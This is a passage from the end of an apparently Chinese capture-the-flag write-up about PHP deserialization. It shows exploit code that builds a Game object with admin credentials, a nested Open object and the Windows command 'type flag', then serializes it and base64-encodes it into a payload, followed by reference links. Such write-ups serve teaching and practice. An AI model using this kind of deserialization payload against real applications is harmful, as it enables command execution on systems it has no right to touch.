        $this->choice->checking($this->username,$this->password);
    }

}
$a = new Game();
$a->username = 'admin';
$a->password = 'admin';
$a->register = 'admin';
$a->file='123';
$a->content = 'type flag';
$a->filename = '111';
$a->file = new Open();
echo base64_encode(serialize($a));

我这里是用windows系统复现的,所以使用命令不同,思路都一样
img

参考链接

https://blog.csdn.net/rawrecruit/article/details/123968687
https://www.freebuf.com/articles/network/331981.html
https://r0yanx.com/2020/10/28/fslh-writeup/